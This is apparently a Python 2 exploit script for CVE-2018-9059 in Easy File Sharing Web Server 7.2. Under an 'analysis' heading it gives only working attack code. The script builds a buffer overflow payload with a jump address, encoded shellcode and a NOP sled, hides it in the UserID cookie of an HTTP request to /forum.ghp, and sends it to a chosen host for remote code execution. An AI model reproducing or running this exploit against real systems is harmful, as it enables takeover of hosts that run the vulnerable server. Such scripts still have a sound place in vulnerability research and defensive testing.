[1-day Analysis] CVE-2018-9059 - Easy File Sharing Web Server 7.2 Exploit (RCE)

import socket
import struct
import sys

def exploit(HOST, PORT):
  shellcode = (
    "\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9"
    "\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56"
    "\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9"
    "\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97"
    "\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64"
    "\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8"
    "\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a"
    "\x1c\x39\xbd"
  )

  payload = ''
  payload += 'A' * 4059
  payload += struct.pack("<I", 0x909006eb)
  payload += struct.pack("<I", 0x100103fe)
  payload += shellcode
  payload += '\x90' * 200

  buffer = (
    "GET /forum.ghp HTTP/1.1\r\n"
    "User-Agent: Mozilla/5.0\r\n"
    "Host:" + HOST + ":" + str(PORT) + "\r\n"
    "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
    "Accept-Language: en-us\r\n"
    "Accept-Encoding: gzip, deflate\r\n"
    "Referer: http://" + HOST + "/\r\n"
    "Cookie: SESSIONID=22484; UserID=" + payload + "; PassWD=;\r\n"
    "Conection: Keep-Alive\r\n\r\n"
  )

  try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))
    s.send(buffer)
    s.close()

    print '[+] Exploit'
  except Exception:
    print '[-] Exploit Failed'

if __name__ == '__main__':
  if len(sys.argv) <= 1:
    print '[-] python2 exploit.py [HOST] [PORT]'
    exit()
  
  exploit(sys.argv[1], int(sys.argv[2]))